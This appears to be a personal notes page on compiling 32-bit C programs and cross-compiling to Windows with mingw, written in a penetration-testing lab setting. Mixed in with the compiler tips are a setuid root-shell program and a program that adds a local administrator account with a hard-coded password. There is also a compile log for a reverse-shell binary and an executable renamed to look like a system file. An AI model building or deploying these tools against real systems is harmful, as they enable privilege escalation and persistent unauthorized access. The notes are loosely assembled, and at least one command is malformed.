gcc compile

How to compile 32-bit program on 64-bit gcc in C and C++

Mostly compiler(gcc or clang) of C and C++, nowadays come with default 64-bit version. Well it would be a good option in terms of speed purposes. But it would lead to problem, if someone wants to run their program as a 32-bit rather than 64-bit for testing or debugging purposes. Therefore we must have a knowledge about this.

Before proceeding forward, let’s confirm which bit-version of gcc is currently installed in our system.
Just type the following command on Linux terminal.

Command: gcc -v
Output 
Using built-in specs.
COLLECT_GCC=gcc
COLLECT_LTO_WRAPPER=/usr/lib/gcc/x86_64-linux-gnu/5/lto-wrapper
Target: x86_64-linux-gnu
......................
......................

Hence the fourth line Target: x86_64-linux-gnu confirms that we are running 64-bit gcc.

Now in order to compile with 32-bit gcc, just add a flag -m32 in the command line of compling the ‘C’ language program. For instance, to compile a file of geek.c through Linux terminal, you must write the following commnad with -m32 flag.

Command: gcc -m32 geek.c -o geek

If you get an error as follows:

fatal error: bits/predefs.h: No such file or directory

Then it indicates that a standard library of gcc is been missing. In that case you must install gcc-multlib by using the following command:

For C language:
sudo apt-get install gcc-multilib
For C++ language:
sudo apt-get install g++-multilib

After that you will be able to compile a 32-bit binary on a 64-bit system.

How to check whether a program is compiled with 32-bit after adding a “-m32” flag?
Well we can easily check this by the following program.

filter_noneedit

play_arrow

brightness_4

// C program to demonstrate difference
// in output in 32-bit and 64-bit gcc
// File name: geek.c
#include<stdio.h>
int main()
{
printf("Size = %lu", sizeof(size_t));
}

Compile the above program in Linux by these two different commands,
Default 64-bit compilation,

Input: gcc -m64 geek.c -o out
Output: ./out
Size = 8

Forced 32-bit compilation,

Input: gcc -m32 geek.c -o out
Output: ./out
Size = 4

Can we conclude anything from above program. Yes maybe, let’s try to understand more.
Since the size of data types like long, size_t, pointer data type(int*, char* etc) is compiler dependent, therefore it will generate a different output according to bit of compiler.

Example 2 setuid.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( int argc, char *argv[] )
{
setreuid(0, 0);
execve("/bin/sh", NULL, NULL);
}

compile

root@kali:~/pwk# gcc -m32 setuid.c setuid
root@kali:~/pwk# file setuid
setuid: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=08eab55f910a850bb780f515edcf5b838db01dc7, not stripped

example 3 C program to get Process Id and Parent Process Id in Linux.

#include <stdio.h>
#include <unistd.h>

int main()
{
printf("Process Id is: %ld\n",getpid());
return 0;
}
Output
Process Id is: 98

Example 4 : useradd.c * Windows – Add user.

#include <stdio.h> /* system, NULL, EXIT_FAILURE */

int main ()
{
int i;
i=system ("net user puck iestyle /add && net localgroup administrators puck /add");
return 0;
}

Cross Compile to Windows From Linux

On Debian and variants (from tinc’s windows cross-compilation page),

root@kali# sudo apt-get install mingw-w64

# C
i686-w64-mingw32-gcc hello.c -o hello32.exe # 32-bit
x86_64-w64-mingw32-gcc hello.c -o hello64.exe # 64-bit

root@kali:~/pwk# i686-w64-mingw32-gcc revshell.c -ffunction-sections -fdata-sections -s -Os -o revshell.exe -Wl,--gc-sections -lws2_32
revshell.c: In function ‘main’:
revshell.c:40:25: warning: implicit declaration of function ‘atoi’ [-Wimplicit-function-declaration]
     unsigned int port = atoi(argv[2]);
                         ^~~~
root@kali:~/pwk# file revshell.exe 
revshell.exe: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows

# C++
i686-w64-mingw32-g++ hello.cc -o hello32.exe # 32-bit
x86_64-w64-mingw32-g++ hello.cc -o hello64.exe # 64-bit

root@kali:~/pwk# i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
root@kali:~/pwk# file scsiaccess.exe 
scsiaccess.exe: PE32 executable (console) Intel 80386, for MS Windows

Compile from Windows Developer Command prompt for VS2015

Author : Jacco Straathof